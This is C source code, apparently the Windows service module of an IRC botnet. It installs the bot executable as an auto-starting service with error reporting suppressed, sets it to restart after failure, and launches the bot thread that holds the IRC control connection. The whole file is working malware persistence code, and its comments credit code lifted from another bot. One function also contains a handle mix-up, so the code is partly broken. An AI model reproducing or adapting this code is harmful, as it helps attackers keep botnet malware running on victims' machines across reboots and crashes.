// Thanks to omega_service_.12b.rar, I stole most of the service functions from it #include "includes.h" #include "functions.h" #ifndef NO_SERVICE SC_HANDLE scm; extern IRC mainirc; SERVICE_STATUS ss; SERVICE_STATUS_HANDLE ssh; VOID WINAPI ShutdownHandler(DWORD Opcode) { DWORD status; switch(Opcode) { case SERVICE_CONTROL_SHUTDOWN: if (mainirc.is_connected()) { mainirc.quit("System shutting down."); Sleep(FLOOD_DELAY); mainirc.disconnect(); fWSACleanup(); ExitProcess(EXIT_SUCCESS); } ss.dwCurrentState = SERVICE_PAUSED; break; default: break; } // Send current status. if (!fSetServiceStatus(ssh,&ss)) status = GetLastError(); return; } int ServiceMain(int argc, char *argv[]) { ss.dwServiceType = SERVICE_WIN32; ss.dwCurrentState = SERVICE_START_PENDING; ss.dwControlsAccepted = SERVICE_ACCEPT_SHUTDOWN; ss.dwWin32ExitCode = 0; ss.dwServiceSpecificExitCode = 0; ss.dwCheckPoint = 0; ss.dwWaitHint = 0; ssh = fRegisterServiceCtrlHandler(servicename,ShutdownHandler); // not sure if this is needed for the shutdown handler but why not ss.dwCurrentState = SERVICE_RUNNING; ss.dwCheckPoint = 0; ss.dwWaitHint = 0; fSetServiceStatus(ssh,&ss); DWORD id; HANDLE threadhandle; //create a new thread pointing to the function that the service will run if((threadhandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ServiceThread, NULL, 0, &id)) == 0) return 0; //waits for the thread to close and handle to end before the function closes. WaitForSingleObject(threadhandle, INFINITE); CloseHandle(threadhandle); return 0; } BOOL ReconfigureService(LPSTR lpDesc); int InstallService(char *svcpath) { DWORD le; SC_HANDLE service; char path[MAX_PATH]; sprintf(path, "\"%s\"", svcpath); //open a handle to SCM with the create service flag if(!(scm = fOpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE))) return 0; //install the service pointing to our .exe with full access rights, with its own process, w/o error reporting, with auto start on boot if(!(service = fCreateService(scm, servicename, servicedisplayname, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path, NULL, NULL, NULL, NULL, NULL))) { le=GetLastError(); //if the service already exists..then run it! if(le==ERROR_DUPLICATE_SERVICE_NAME || le==ERROR_SERVICE_EXISTS) { ServiceRun(); } //some shit happened..service couldn't install else return 0; } //no error during install..proceed to run the service else { ReconfigureService(servicedesc); ServiceRun(); } //cleanup fCloseServiceHandle(service); fCloseServiceHandle(scm); return 0; } int ServiceRun() { SC_HANDLE service; // SERVICE_STATUS status; //open a handle to SCM with full control rights if(!(scm = fOpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS))) return 0; //gain a handle to our service (ServiceName) with full rights if(!(service = fOpenService(scm, servicename, SERVICE_ALL_ACCESS))) return 0; //start the service w/o argument strings. if(fStartService(service, 0, NULL) == 0) return 0; //cleanup fCloseServiceHandle(scm); fCloseServiceHandle(service); return 0; } DWORD WINAPI ServiceThread(LPVOID param) { DWORD id; HANDLE threadhandle; if((threadhandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)BotThread, NULL, 0, &id)) == 0) return 0; WaitForSingleObject(threadhandle, INFINITE); CloseHandle(threadhandle); ExitThread(0); } BOOL ReconfigureService(LPSTR lpDesc) { SC_HANDLE service; SC_LOCK sclLock; SC_ACTION scBuf; LPQUERY_SERVICE_LOCK_STATUS lpqslsBuf; SERVICE_DESCRIPTION sdBuf; SERVICE_FAILURE_ACTIONS sfBuf; DWORD dwBytesNeeded; BOOL bSuccess=TRUE; //open a handle to SCM with full control rights if(!(scm = fOpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS))) return FALSE; //gain a handle to our service (ServiceName) with full rights if(!(service = fOpenService(scm, servicename, SERVICE_ALL_ACCESS))) return FALSE; //need to acquire database lock before reconfiguring. //if the database cannot be locked, report the details. if (!(sclLock = fLockServiceDatabase(scm))) { if (GetLastError() != ERROR_SERVICE_DATABASE_LOCKED) return FALSE; // Allocate a buffer to get details about the lock. lpqslsBuf = (LPQUERY_SERVICE_LOCK_STATUS) LocalAlloc(LPTR,sizeof(QUERY_SERVICE_LOCK_STATUS)+256); if (lpqslsBuf == NULL) return FALSE; // Get and print the lock status information. if (!fQueryServiceLockStatus(scm, lpqslsBuf, sizeof(QUERY_SERVICE_LOCK_STATUS)+256, &dwBytesNeeded)) return FALSE; /*if (lpqslsBuf->fIsLocked) { #ifdef _DEBUG printf("Locked by: %s, duration: %d seconds\n",lpqslsBuf->lpLockOwner,lpqslsBuf->dwLockDuration); #endif }*/ LocalFree(lpqslsBuf); } // The database is locked, so it is safe to make changes. // Open a handle to the service. scm = fOpenService(scm, servicename, SERVICE_CHANGE_CONFIG); if (service == NULL) return FALSE; scBuf.Delay=3000; scBuf.Type=SC_ACTION_RESTART; sfBuf.lpsaActions=&scBuf; sfBuf.cActions=1; sfBuf.lpCommand=0; sfBuf.lpRebootMsg=0; sfBuf.dwResetPeriod=10; if(!fChangeServiceConfig2(service, SERVICE_CONFIG_FAILURE_ACTIONS, &sfBuf)) bSuccess = FALSE; sdBuf.lpDescription = lpDesc; if(!fChangeServiceConfig2(service, SERVICE_CONFIG_DESCRIPTION, &sdBuf)) bSuccess = FALSE; // Release the database lock. fUnlockServiceDatabase(sclLock); fCloseServiceHandle(service); fCloseServiceHandle(scm); return bSuccess; } #endif